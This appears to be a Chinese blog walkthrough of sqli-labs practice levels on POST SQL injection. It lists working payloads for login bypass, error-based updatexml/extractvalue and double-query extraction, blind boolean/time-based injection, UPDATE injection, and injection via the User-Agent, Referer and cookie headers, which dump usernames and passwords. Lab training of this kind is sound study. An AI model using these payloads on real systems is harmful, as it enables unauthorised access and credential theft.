接下来的关卡是post的注入,之前的都是GET型注入
所以需要准备这个:
firfox+hackbar(firfox的插件)
自己常犯得错:
1.第15关length(database())我会下意识的加上select 变成length(select database())
2.用变形双注入里面前面是用or连接,不是用union连接
3.17关的update(1,concat('~',(select database()),'~'),0) 中的concat我会忘记,然后直接写select语句就报错了
4.post里面的#我用%23代替会出现错误
我们点Enable Post data复选框打开post参数选项框
POST传输数据,我们也要知道我们传输的数据名字叫什么按下F12
点这个然后再点我们需要查询的元素,就可以快速定位该元素的位置,我们分别点下uername和password的两个编辑框
然后我们构造这样的参数
uname=1'&passwd=1
让它报错
这里我们需要把后面的语句给注释掉(在post里面#可以不用%23),并且让这个查询语句的结果永真
这里就需要用到
or 1=1
or前后的条件只要有一个为真那么这个语句的结果就为真 后面的1=1是肯定的,所以加上这个之后的条件是永真的
uname=1' or 1=1#&passwd=1
注入成功
除了用注释我们还可以用闭合来完成注入
尝试用这个来闭合并完成注入
uname=1' or '1'='1&passwd=1
这是的语句为: SELECT username, password FROM users WHERE username='1' or '1'='1' and password='1' LIMIT 0,1
因为and的优先级高于or ,所以and先运算 但是数据库里面没有一个密码为1的数据所以and的右边是false,所以整个语句就是false
这个时候我们需要让and 先运算 然后在让or运算只要or另一边是真的就行,
所以我们就在passwd里面注入
uname=1&passwd=1' or '1'='1
这个时候你会想为什么会自动显示Dumb的数据,因为mysql_fetch_array只能返回第一行结果
所以你可以注释掉后面的Limit自己加Lmit来实现遍历后面的数据
uname=test&passwd=test' or '1'='1' limit 1,1#
咱们先输入任意参数看看语言是怎么样子的
发现参加数贝双引号和括号包括这的,这就很简单了根据上一题的第二张思路,咱们直接在passwd里面进行注入,然后可以在加个limit来控制输出
uname=2&passwd=2") or 1=1#
当然也可以在uname里面进行注入,思路跟上一题一样闭合前面的过滤后面的,然后在中间加个 or 1=1 恒真就好 也可以家limit控制输出
uname=2") or 1=1 limit 2,1 #&passwd=2
这题跟上一题是一样的只是,这题登录成功后不会有任何信息的提示
未登录成功:
登录成功后:
uname=1&passwd=1') or 1=1 #
或者
uname=1') or 1=1#&passwd=1
那么问题来了,为什么没有像以前那样输出帐号密码呢
输出都被注释掉了,就不会有输出帐号密码。
如果前面几关都有练习的话,你应会想到另一个思路
就是第5关双注入的思路,用聚合函数通过报错把我们需要的信息显示出来
我们先查下有多少个字段
uname=1&passwd=1') or 1=1 order by 2 #
*注意这里可别习惯性思维觉得前面几关的字段数都是3,这次肯定也是3.然而这里的是2
直接给payload
uname=1&passwd=1') or 1=1 union select count(*),concat('*',(select database()),'*',floor(rand()*2)) as a from information_schema.tables group by a #
uname=1&passwd=1') or 1=1 union select count(*),concat('*',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'*',floor(rand()*2)) as a from information_schema.tables group by a #
uname=1&passwd=1') or 1=1 union select count(*),concat('*',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'*',floor(rand()*2)) as a from information_schema.tables group by a #
uname=1&passwd=1') or 1=1 union select count(*),concat('*',(select concat_ws(char(45),username,password) from users limit 1,1),'*',floor(rand()*2)) as a from information_schema.tables group by a #
Less-14:双引号_post_字符型_双注入_变形注入
这题跟上一题是一样的只是把括号单引号变成双引号
uname=1&passwd=1" or 1=1 union select count(*),concat('*',(select concat_ws(char(45),username,password) from users limit 1,1),'*',floor(rand()*2)) as a from information_schema.tables group by a #
Less-15:单引号_post_bool型/时间型盲注
加入永真是可以登录的,但是没有返回信息
有双注入也一样,报错信息也没有
查看下源码发现不仅把信息的输出给注释掉了,把mysql的报错也给注释掉了
所以在这中情况下我们只能考虑盲注了,你应该还记得的吧
我们可以先判断数据的名字的长度
uname=1&passwd=1' or length(database()) >8 #
所以确定数据库名的长度为8
uname=1&passwd=1' or ascii(substr((select database()),1,1))>115 #
于是可以确定数据库名的第一个字母是's',按照这个方法逐个去匹配,思路就是这样,最好用脚本去弄
Less-16:双引号_post_bool型/时间型盲注
这题跟上面一样的,就只是会显示个登录提示的信息,用报错也不能爆出信息,还是用盲注
payload:
uname=1&passwd=1") or if(ascii(substr((select database()) ,1,1))>114,1,sleep(5))#
Less-17:基于错误的_post_更新查询注入
尝试注入:
uname=1&passwd=1 or 1=1#
但是发现连页面都没有发什么变化
注意到页面上有 PASSWORD RESET
然后我们在框里面输入 User Name:admin New Password:nzjdsds
然后我们看下数据库,发现密码被修改了
猜测后台的语句大概为:
UPDATA table SET password=’inputpass’ WHERE username=’inputuser’
作用:Update 语句用于修改表中的数据。
语法:UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
例句:修改users表中名为inputuser的数据
UPDATE users SET password = inputpass WHERE username = inputuser
注:其中“SET 列名称 = 新值”新值可以为逻辑运算的结果(True or False)
看下源码发现真的用到了update
他的大概执行过程是接收到username和password后,首先根据username的值查询数据库返回username和password,然后再将原有的password值用接收到的值替换掉
这里有一个问题是
username在接收时用了一个自定义的过滤函数check_input(),这个函数首先做了判空处理,合法就截取username的前15个字符,然后是通过get_magic_quotes_gpc()的返回值判断magic_quotes_gpc的值是on还是off
magic_quotes_gpc=on时, 不用对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。如果此时对输入的数据作了addslashes()处理,那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
magic_quotes_gpc=off 时,必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。
最后,他用了ctype_digit()判断username值的类型是否是数字,是字符就用mysql_real_escape_string对特殊字符进行转义,不是就获取遍历的整数值
get_magic_quotes_gpc():本函数取得 PHP 环境配置的变量magic_quotes_gpc (GPC, Get/Post/Cookie) 值
addslashes():在每个双引号(")前添加反斜杠
stripslashes():删除由 addslashes() 函数添加的反斜杠
ctype_digit():检测字符是不是都是数字
mysql_real_escape_string():转义 SQL 语句中使用的字符串中的特殊字符
intval():获取变量的整数值,允许以使用特定的进制返回。默认10进制
显然我们对Username并不好注入,当然你可以选择弱口令爆破
这里它没有的password进行过滤,那么我们通过password进行注入
对于update的注入有几种思路,我们将他连同insert和delete一起来总结一下:
1、子查询注入
子查询注入原理即双注入,对于dateup、delete和insert通常都是结合or的逻辑判断,本题为例我们对update可以构造如下语句
这里面的用户名的话就需要我们自己去猜解,一般都是admin,root之类的默认帐号,这关可以在username里面输入,如果账户名存在的话页面就会显示成功信息
获取数据库名:
uname=admin&passwd=' or (SELECT 1 FROM(select count(*),concat('*',(select database()),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) where username='admin'%23
①.里面的select 1 from....解释
select 1 from ..., sql语句中的1代表什么意思?查出来是个什么结果?
select 1 from table;与select anycol(目的表集合中的任意一行) from table;与select * from table 从作用上来说是没有差别的,都是查看是否有记录,一般是作条件查询用的。select 1 from 中的1是一常量(可以为任意数值),查到的所有行的值都是它,但从效率上来说,1>anycol>*,因为不用查字典表。 因此可以把1换成*也没事
②.(自己的思考)把后面的as a去除出现了“Every derived table must have its own alias” 查了下这个错误
这句话的意思是说每个派生出来的表都必须有一个自己的别名
一般在多表查询时,会出现此错误。
因为,进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名
把MySQL语句改成:select count(*) from (select * from ……) as total;
问题就解决了,虽然只加了一个没有任何作用的别名total,但这个别名是必须的
然后我们获取表名
uname=admin&passwd=' or (SELECT 1 FROM(select count(*),concat('*',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) where username='admin'%23
获取列名
uname=admin&passwd=' or (SELECT 1 FROM(select count(*),concat('*',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) where username='admin'%23
获取数据
uname=admin&passwd=' or (SELECT 1 FROM(select count(*),concat('*',(select concat_ws(char(45),username,password) from users limit 1,1),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) where username='admin'%23
这里我们还有另外一中思路就是使用
updatexml()函数
updatexml(xml_target,xpath_expr,new_xml)函数是MYSQL对XML文档数据进行查询和修改的XPATH函数,xml_target是目标xml,形式类似于节点目录,xpath_expr是xml的表达式,new_xml是用来替换的xml,简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉,比如,updatexml(
利用updatexml()获取数据的固定payload是:... or updatexml(1,concat(0x7e,(...)),0) ....updatexml()的xml_target和new_xml参数随便设定一个数就行,这里主要让他报错
获取数据库名:
uname=admin&passwd=' or updatexml(1,concat('~',(select database()),'~'),0)%23
获取表名:
uname=admin&passwd=' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~'),0)%23
获取字段名:
uname=admin&passwd=' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'~'),0)%23
获取数据:
uname=admin&passwd=' or updatexml(1,concat('~',(select concat('~',username,'~',password) from users limit 1,1),'~'),0)%23
但是这边却出现了You can't specify target table 'users' for update in FROM clause错误
不能先select出同一表中的某些值,再update这个表(在同一语句中)。
也就是说将select出的结果再通过中间表select套一遍,这样就规避了错误,其实之前在子查询注入中也有用到此方法,同时,还要给多加的一重select赋一个别名
最后的payload:
uname=admin&passwd=' or updatexml(1,concat('~',(select * from(select concat_ws(char(45),id,username,password) from users limit 0,1)as a),'~'),0)%23
Less-18:基于错误的_post_用户代理_头部注入
看标题就知道,这道题主要是通过修改User Agent获取他的报错信息,之前直接改password的方法肯定是不行了,从源码可以看出来password和
username都进行了过滤
修改User Agent常用的工具有burp,Tamper Data(火狐插件)
在这里我就用Tamper Data,结合之前的updatexml报错方法修改他的User-Agent
当这个怎么判断存在uagent头存在注入呢,是因为他获取了我们的ip,猜它应该也获取了uagent?当然不靠普,这个靠模糊测试吧(其实就是靠发单引号啊什么的用程序去测试返回结果),还有请使用xxx浏览器访问的,有可能获取了uagent,但也可能只是前端的js来处理
首先这里要输入正确的账号和密码才能绕过账号密码判断,进入处理uagent部分,这里跟我们现实中的注册登录再注入是比较贴合,这里我们输入正确的账号密码就输出我们的uagent
在这里它获取了我们的User-Agent,那我们就尝试用User-Agent注入
打开Tamper Data并按下Start Tamper
然后帐号密码输入admin,admin,然后在跳出的对话框内点击Tamper
把User-Agent改成一个斜杠
是不是很熟悉,然后把User-Agent改成
2018.7.2留下的话: ①' or updatexml(0,concat('%',database(),'%'),0))# 这个是我现在改的语句,因为现在回来看感觉之前的语句跟前面的篇章有点小脱节而且之前写的语句虽然可以 但是 发现有一些可以去掉的东西,如果在的话可能会影响与前面知识的接轨和阅读。图片的话就不更新了 大家可以看看之前的语句是什么样的
②然后就是SQL语句猜测的部分现在补充下 1.先输入'#出现这个错误。2.后来尝试到')#就出现了关于这个错误的链接地址:https://blog.csdn.net/sinat_35134348/article/details/53671104 3.然后就猜测语句应该是包括(''),让你在这基础上用updatexml语句进行报错处理
' or updatexml(0,concat('%',database(),'%'),0))#
这里的与前文的
' or updatexml(1,concat('~',(select database()),'~'),0)%23
有点不同,要注意,如果按照前文的来写的话会出现Column count doesn't match value count at row 1错误 ,原因是因为SQL语句里列的数目和后面的值的数目不一致,因为我们数据有3个字段所以要有三个字段所以就是updatexml(1,2,3)
这里要注意:
1.#不能用%23来换
2.updatexml的第一个和三个字段可以是任何比如‘1’, 0等
算了我还是用burp吧,方便点,不会用burp的同学自行百度也可以在我博客下面留言
然后接下来获取表名
' or updatexml(0,concat('%',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'%'),0))#
获取字段名:
' or updatexml(0,concat('%',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'%'),0))#
获取数据:
',updatexml(0,concat('~',(select concat(username,'~',password) from users limit 1,1)),0),0)#
Less19 POST - Header Injection - Referer field - Error based (基于头部的Refe
rer POST报错注入)
这关跟18关差不多,就是有点稍微的变化,这关改的是Referer
先搜索数据库的名称:
'or updatexml('1',concat('~',database()),0),'~')#
查表名:
'or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0),'~')#
查字段名:
'or updatexml('1',concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)),0),'~')#
获取数据:
'or updatexml('1',concat('~',(select concat(username,'~',password) from users limit 1,1)),0),'~')#
在这里还有另一种函数extractvalue也是可以获取的,思路是一样的
获取数据库名:
'or extractvalue(1,concat('~',(select database()))),'')#
获取表名:
'or extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1))),'')#
获取字段名:
'or extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'')#
获取数据:
'or extractvalue(1,concat('~',(select concat('~',username,password) from users limit 1,1))),'')#
我们先用admin来登陆下,注意注入前需要先登录有了cookie之后在进入网页进行注入
猜测下开始语句
后面order by 33肯定是错误的因为不可能有那么多字段,如果报了order by 33的错说明前面的语句是对的。如果前面的语句是错的就会报前面的错误例如这样
那我们就明白语句需要这么写 uname=admin' +注入语句+#
判断下字段数
uname=admin'order by 3#
接下来就是跟最前面的几关十一月的,刚开始查询数据库名的时候页面没反应,然后在admin前面加个-报错让他显示数据库的名称
查数据库名:
uname=-admin'union select 1,2,database()#
查询表名:
uname=-admin'union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1#
查询字段名:
uname=-admin'union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1#
查询数据:
uname=-admin'union select 1,2,concat('~',username,password,'~') from users limit 1,1#